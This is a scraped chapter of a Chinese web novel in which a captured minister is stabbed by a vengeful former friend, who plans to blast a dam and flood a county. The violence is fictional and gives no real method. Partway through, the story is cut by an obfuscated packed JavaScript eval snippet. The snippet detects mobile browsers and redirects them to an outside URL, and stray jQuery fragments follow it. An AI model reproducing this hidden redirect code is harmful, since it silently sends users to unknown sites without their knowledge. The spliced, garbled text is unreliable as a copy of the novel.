76. 千灯照夜(十三)
作品:《请不要再进啦》 天方明不久,待官兵起身,崔述点了十名身手极佳的年轻小伙与他一同出城。
一行人从城东沿宜令河溯源而上,逐步排查是否有挖掘掩埋之迹。
行出两个时辰,太阳虽潜藏在乌云后,但天气仍是燥热,众人大汗淋漓,行至一处水位稍高之地,崔述吩咐就地休息。
龙骧卫队将坐得近,随口问起:“崔相何不派出数十队,沿河分段找,这样总能快些。”
“敌在暗处,鹿鸣山中处处密林,极好藏身,咱们人手不够,派普通百姓出来,若遇敌,无异于送死。”
“但……”那名队将想了一想,“那也比全城共没来得好吧”的话终是没有出口。
“天实在闷热得厉害,恐怕至迟今夜,这雨也能下下来了。”队将招呼大家继续,“咱们还是快些。”
“等不到夜里了,最晚下午。”崔述仰头看着满天乌黑,叹了口气。
队将辨着天色,道:“西边更为阴沉,还隐有雷声,恐怕上游已在下雨了,只是因先前干旱,上游皆拦河蓄水,如今咱们这才看不出异常来。”
崔述点头。
待上游蓄水之堤一放,加本地疾雨,水位高涨不过片刻的事,此时再神不知鬼不觉地溃堤,满城百姓皆可毁于一旦,还能以一句天灾遮掩。
众人纷纷收拾好水囊,起身继续沿河往西北排查,刚走出没几步,便听得急切而杂乱的脚步声自密林中传下来,众人停下脚步,将崔述护在后面。
然而对方人马实是不可小觑,光露面的便足有两百人之众,各个着黑衫戴银饰,有人惊呼一声:“越山族。”
特地挑选的一名通晓越山族语言的当地百姓上前,与那为首者正面遭遇,边比划边解释,对方却一句不理,目中怒火炯炯,扬手便要挥刀。
龙骧卫队将怒不可遏,当即一跃上前,将那名百姓护在身后,对方微一抬手,身后的跟随者当即逼上前来,高举手中寒刃。
崔述指挥众人后退,及至退至岸边,微一扬手,众人得令,纷纷跃入宜令河,沿河遁走。
崔述脚步刻意慢了一拍,刚退至岸边,便有一人跃至身旁,大刀横于脖颈,微一用力,一条血线洒落下来,溅染在青衫之上。
那人一言不发,只以刀刃迫他主动往前,待他行至包围圈中,那人收刀,用刀背在他脊上一拍,崔述不由踉跄往前扑了两步,被人拧住双臂,迅疾搜遍全身,才以麻绳反剪了双手。
众人挟持他沿密林往山上走,往上走了半刻,则转而往西,在林中乱窜了半个时辰,行至一片山势稍缓之地,崔述瞳孔骤缩。
林中砍树辟出一块稍微宽敞的空地,扎着简易营帐,此刻因天气燥热,营地中人都出来在林间纳凉。
林下密密麻麻躺满了相同装束的人,一眼扫去,足有千余人,人人脚边躺着长刀,看似闭目假憩,一听得声响,却不约而同地睁开了眼。
被这上千双眼同时逼视,任谁都有些招架不住,然而崔述不曾避退,目光逡巡其间,寻觅着目标,却一无所获。
两名壮汉将他绑至树上,与方才在此处休憩的人换了班,自去吃饭休息。
在密林中穿梭了许久,实在是有些乏累,崔述微微闭眼,养神静待。
这些人显然暂时没有杀他的意思,目前并无性命之忧。
既然如此,这些人的首领,便如他所料,还欲见一见他。
但或许是得到过吩咐,众人并不靠近他,甚至还离他隔得有些远,刻意保持着距离。
他闭目许久,才终于听到一个较为沉重的脚步声走至近前,或者说,是一脚轻一脚重的声音。
崔述睁开眼来,见着一个越山族装束的男子缓步走来,脸上以颜料绘着木魅山魈图案,粗看狰狞,细看还能辨出些许五官。
猜想得到证实,崔述微垂眼帘,极轻地摇了下头。
郑守谦走至近前,取出他口中的布团。
崔述极轻地叹了一声:“致仁。”
郑守谦嘲讽一笑:“崔相日理万机,难得还能记得我等贱民。”
下一刻,一柄匕首毫不犹豫地捅进了崔述腰腹间。
崔述闷哼一声,面色瞬间变得煞白,双唇微张着,似已无力合上。
那匕首又深进了三分,几乎是没柄而入。
崔述眉目皆拧在一处,身子微微蜷曲,却被绳索拦腰截住,连蜷缩作一团都做不到。
鲜血染红了一大片衣袍,浓重的血腥味弥散开来,崔述强忍剧痛,声音已低得要凑得极近才能听清:“在此地伤我至此,应是不打算带我再往前走了,决堤口在哪?”
匕首上的力道松了三分,郑守谦笑道:“你果然还是反应很快,稍露一点破绽给你,你便能如此快地找上门来。”
“确实,此地可见溃堤惨象。”郑守谦上前,亲自动手,再搜了一遍身,将他袖间常年别着的那枚银针扔远,“我会让你亲眼瞧瞧的。”
匕首拔出,鲜血飞溅,有两滴溅至脸上,郑守谦随手一抹,招呼人给崔述止血。
虽刻意避开要害,但伤口极深,崔述脱了力,闭眼任人摆弄包扎。
混杂着血腥味的草药味弥散开来,伤口处钻心的疼,血流的速度却慢了下来,崔述强逼着自个儿睁开眼,试图透过密林去看宜令河,然而他这个角度却半分也窥不见。
“你为何不现在炸堤?先前不炸是顾忌着不能留给我任何修补的时机,现在已经来不及了,为何还不动手?待子扬率龙骧卫找到地方,你要炸还得付出些代价。”
听到王举的名字,郑守谦默了少顷,旋即又笑起来:“现在行事,你二哥和他还在城内,还能精准转移,我不会给你们这个机会。我有足够的人马,有一击即中的实力,不必抢这个先机。他那点儿兵……他既择你弃我,便一同留在绥宁陪你长眠也好。”
郑守谦哂笑道:“安心待着吧,身陷敌营,筹谋也无益。点燃引线的时候,我会让你去看的,不必心急。”
崔述勉强挤出一个笑:“你刻意引我出城不就是为了了你我私怨吗?我既已来了,性命皆在你手,何不放过一县百姓?”
“那怎么够呢?你一人死于我手,落在青简上,反倒是以身殉道,力阻贼人淹城,多么光风霁月的一笔,你觉得我能甘心么?”
“毁我身后名有那么重要么?”崔述微微摇头,“那是四万条命,于心何忍?你我之间,必至如此不死不休的地步了?”
郑守谦倏地笑起来,脸上的山魈跟着狰狞起来:“你当日设计我时,又于心何忍?”
他指着自个儿那条跛腿:“庭杖之辱,日日不敢忘,夜夜思之,欲啖你血而后快。”
“当日也未想到先帝会启庭杖之刑。但我也不算对不住你,视百姓于无物,为争功谎报赈灾成效,致流民遍野,无论什么后果,都是你应得的。”
“真是浩然正气。”郑守谦上前一步,几乎要贴近他的鼻尖,山魈面愈发狰狞可怖,“你写下那份参劾折子的时候,可曾念过半分你我二人近二十年之情谊?”
“政见之分,立场相异,并无什么紧要,不过是各走各路,看谁能走到最后而已。但你已失本心,为争权夺利罔顾百姓,不宜再留在朝堂,罢官是你最好的归宿。”
崔述只觉荒唐:“况且,你当日以税案构陷我时,派道全来刺杀我时,又何曾念及过一分昔时情谊?”
郑守谦面色寥落,没有接话。
静默半晌,忽又爆发道:“我与你不一样,虽自幼相识,但你崔家到底勉强算是根基深厚,你爹稍稍为你打点,你便能一路畅通无阻迁至高位,可我呢?
“父亲于仕途上帮不了我多少,我只能靠投靠明主博一个向上爬的机会,殿下于我有知遇之恩,若能登大宝,必会将我起复,却生生被你们这帮窃贼逼至绝路,横死禁邸。”
崔述看着他,目光中满是痛惜:“你竟变成了这样。当年你因察觉我暗中投了今上,设计令我罢官出京,同我道,你只是不想与我为敌,不想见我二人正面交锋那一日。因你不曾向先太子告密,未曾牵连崔家,我姑且信你一信,但后来见道全奉你之命来杀我,才知你虽也念几分旧时谊,不曾毁我家人,但一开始便不只是要逐我出京,而是奔着要杀我而来的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321588|183129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“可有一事当告诉你,那时今上已然冒头,手下可信可靠之人皆被先太子盯得紧,章王府旧事,你道是谁做的?借你所谋,脱离玉京,远离诸多眼线,前往沧州,未曾被察觉分毫。”
郑守谦双目睁大,死死瞪着他。
“你若不为此事,章王还好端端的,先帝也不能放心将宝印交于今上。”崔述讽刺一笑,“你之明主,实则毁于你之阴私。”
用尽全力的一拳击在腹部,先前才止住血的伤口又汨汨往外流着血。
崔述痛极,然而怜惜的目光仍旧轻轻落在他脸上。
手下捧着草药上前,郑守谦以越山族土语斥道:“别管他!”
"以你之谋算,肯定不会只寄望于圣上闻讯后因震怒杀我,定然会谋划若我若亲自前来,又要如何针对我。"崔述便又笑了一下,“这不全是越山族吧?你毁越神祠,挑唆越山族人将仇恨记在我头上,但越山族战力并不算太强,你从去岁便来此布局,不可能仅靠他们,定然还有帮手。”
停顿片刻,将一阵令头皮都颤栗发麻的剧痛忍过,崔述才艰难接道:“是先前那帮被官府打得流窜山林四散溃逃的山匪?伪饰成越山族,即便正面遭遇,因顾忌归化安抚之训,官府也不敢随意对蛮族动手,一旦有掣肘,官府施展不开手脚,你的胜算又要大上很多,这才是你刻意拉越山族入局的原因。”
“我最厌恶你这一点,神机妙算,教人恶心。”
“我非圣人,做不到算无遗漏。我便如何也没算到,当初即便一心想杀我,却也留情不曾向先太子告密祸及我家人的人,后来却一步步算计我之亲人、老师,乃至一个与官场完全无涉的女人。”崔述苦笑了下,“你是何时归京,投了徐公的?”
郑守谦霍然抬眸:“你是如何猜到的?”
“本来难猜,毕竟我在朝中树敌无数,谁都可能设计我之亲者,以令我在朝中寸步难行。但她入宫前,唯一见过的外人,我思来想去,也只有徐公,唯有其可一举道出她与我之旧事。恰巧检阅禁军时,徐公应当见过她随侍太子左右。可惜绥宁事急,来不及处理此事,我便仓促出京了。”
“若我没猜错,杜氏案时,应当便已有你的手笔了。到今日,数量如此之大的兵器与火药,非实权高官,断无法到手,便更确定了。”他越说越困惑,“你二人竟会丧心病狂至此,着实令我难以置信。”
“步步为营,潜藏至今日,定要致我于死地,背负万古骂名。”崔述叹惋道,“你我之间,当真有这般长久的恨么?”
豆大的雨点穿透密林,噼里啪啦地往下砸。
酝酿数日的暴雨,终于倾盆而下。
“有。我那时要杀你,既是怕你我二人立场不同,来日你必为强劲之敌,不如先除之以绝后患。又怕有朝一日你转变心念,与我立场相同,我会被你压上一头,与其如此,不如杀而后快。后来被你毁掉一条腿,此恨更盛,多年苟延残喘,不过等待今日,为自个儿与旧主讨个公道。”
郑守谦朗声笑起来:“相识二十余载,我太了解你了。我知道你主动出城是为着什么,不就是打探火药在哪吗?我本可以不露面,但在京之时,齐应对你实在太过周全,你身侧高手如云,要动你实在太难,哪怕误打误撞动你二哥也没能得手。眼下你这一出现,我实在很难忍住,哪怕遂你愿,也没什么了不得的。
“现在你知道了,方才那些假意逃跑实则潜藏跟踪的斥候应该也知道了,又能如何?你不知道我埋伏了多少人马在旁,但你有多少兵马,我却一清二楚,厢军但凡敢靠近,我必赶尽杀绝。刻意挑这么一个离京千里又调兵不便的地方,便是等着此刻。不过是垂死挣扎,我倒不介意暂且留你片刻,陪你看场戏。”
顷刻间,暴雨已将林间浇了个透,郑守谦命人将崔述押进营帐,生怕他死得过早,没能见着稍后的惨烈场面。
暴雨浇下,令崔述迷了双眼。
眼中刺痛,他不得不微闭双眼,才能问出这句痛彻心扉的话:“致仁,昔年之志,今安在否?”
回应他的,却只有一句——“让他闭嘴!”